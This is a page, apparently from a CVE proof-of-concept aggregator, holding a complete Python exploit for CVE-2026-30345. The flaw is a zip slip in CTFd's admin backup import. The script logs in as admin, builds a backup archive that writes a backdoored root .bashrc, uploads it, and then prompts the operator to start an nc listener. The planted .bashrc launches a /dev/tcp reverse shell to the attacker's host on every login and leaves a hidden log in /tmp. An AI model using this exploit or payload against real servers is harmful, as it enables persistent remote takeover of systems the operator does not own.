5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve_2026_30345_bashrc_poc.py PY
from time import sleep

import requests
import re
import zipfile
import shutil
from pathlib import Path
from textwrap import dedent

_DEBUG_ = True
_PROXY_ = 'http://127.0.0.1:8080'
_RHOST_ = 'http://localhost:8000'
CTFD_ADMIN_USERNAME = "admin"
CTFD_ADMIN_PASSWORD = "admin"
ATTACKER_IP = "host.docker.internal"  # Change to your actual IP if not using Docker
ATTACKER_PORT = 4444

def get_proxies():
    return {"http": _PROXY_} if _DEBUG_ else {}

def login():
    session = requests.Session()
    session.proxies.update(get_proxies())
    request_getloginnonce = session.get(_RHOST_ + "/login")
    nonce_regex = r'id="nonce".*value="(.*)">'
    noncevalue = re.findall(nonce_regex, request_getloginnonce.text)[0]
    request_login = session.post(_RHOST_ + "/login", data={"name":CTFD_ADMIN_USERNAME,"password":CTFD_ADMIN_PASSWORD,"_submit":"submit","nonce":noncevalue})
    if (request_login.status_code == 200) and ("/admin" in request_login.text):
        print("[+] Login successful")
    return session

def export_ctfd_baseline(session):
    response = session.get(_RHOST_ + "/admin/export")
    
    if response.status_code != 200:
        print(f"[-] Error: HTTP {response.status_code}")
        return
    
    with open("ctfd_backup.zip", "wb") as f:
        f.write(response.content)
    print("[+] Backup saved to ctfd_backup.zip")

def extract_backup(zip_path: str, extract_dir: str = "backup_extracted"):
    """Extract CTFd backup zip file"""
    Path(extract_dir).mkdir(exist_ok=True)
    with zipfile.ZipFile(zip_path, 'r') as z:
        z.extractall(extract_dir)
    print(f"[+] Extracted to {extract_dir}/")
    return extract_dir

def add_folder_to_zip(z: zipfile.ZipFile, folder: Path, arc_prefix: str):
    """Add entire folder to zip preserving structure"""
    folder = folder.resolve()
    count = 0
    for p in sorted(folder.rglob("*")):
        if p.is_file():
            rel = p.relative_to(folder).as_posix()
            arcname = f"{arc_prefix.rstrip('/')}/{rel}".lstrip("/")
            z.write(p, arcname)
            count += 1
    return count

def create_bashrc_payload(attacker_ip: str, attacker_port: int) -> str:
    """
    Persistence payload for .bashrc
    Executes reverse shell in background on every interactive login
    """
    return dedent(f'''
# ============================================================================
# CVE-2026-30345 - Persistence Backdoor
# ============================================================================
# This was injected via CTFd zip slip vulnerability
# Triggers on every interactive shell session
# ============================================================================

if [ -n "$PS1" ]; then
    # Interactive shell detected - launch background reverse shell
    (bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1 &) 2>/dev/null
    
    # Log successful execution
    echo "[$(date)] CVE-2026-30345 backdoor executed" >> /tmp/.cve_2026_30345.log
fi

# ============================================================================
''').strip()

def create_zipslip_payload(db_dir: str, attacker_ip: str, attacker_port: int, target_user: str = "root", output: str = "malicious_backup.zip"):
    """Create malicious backup with zip slip payload"""
    db_path = Path(db_dir)
    if not db_path.exists():
        print(f"[-] Error: db directory not found: {db_dir}")
        return None
    
    if not (db_path / "alembic_version.json").exists():
        print(f"[-] Error: No alembic_version.json in {db_dir}")
        return None
    
    bashrc = create_bashrc_payload(attacker_ip, attacker_port)
    bypass_path = f"uploads//{target_user}/.bashrc"
    
    with zipfile.ZipFile(output, "w", compression=zipfile.ZIP_DEFLATED) as z:
        add_folder_to_zip(z, db_path, "db")
        z.writestr(bypass_path, bashrc.encode('utf-8'))
    
    print(f"[+] Malicious backup created: {output}")
    return output

def upload_malicious_backup(session, zip_file: str = "malicious_backup.zip"):
    """Upload malicious backup to CTFd"""
    if not Path(zip_file).exists():
        print(f"[-] Error: {zip_file} not found")
        return False
    
    # Get nonce from import page
    response = session.get(_RHOST_ + "/admin/config", proxies=get_proxies())
    nonce_regex = r'id="nonce".*value="(.*)">'
    nonce = re.findall(nonce_regex, response.text)
    
    if not nonce:
        print(f"[-] Error: Could not extract nonce")
        return False
    
    nonce = nonce[0]

    with open(zip_file, "rb") as f:
        files = {"backup": f}
        data = {"nonce": nonce}
        response = session.post(_RHOST_ + "/admin/import", files=files, data=data, proxies = get_proxies())
    
    if response.status_code == 200:
        print(f"[+] Malicious backup uploaded successfully")
        return True
    else:
        print(f"[-] Upload failed: HTTP {response.status_code}")
        return False

def cleanup(extract_dir: str = "backup_extracted"):
    """Clean up extracted files"""
    shutil.rmtree(extract_dir, ignore_errors=True)

if __name__ == '__main__':
    session = login()
    export_ctfd_baseline(session)
    extracted_dir = extract_backup("ctfd_backup.zip")
    
    create_zipslip_payload(
        db_dir=f"{extracted_dir}/db",
        attacker_ip=ATTACKER_IP,
        attacker_port=ATTACKER_PORT,
        target_user="root",
        output="malicious_backup.zip"
    )
    
    upload_malicious_backup(session, "malicious_backup.zip")
    
    cleanup(extracted_dir)
    sleep(30)  # Wait for CTFd to process the backup and trigger the payload
    print(f"\n[+] Exploit complete! Start listener: nc -lvnp {ATTACKER_PORT}")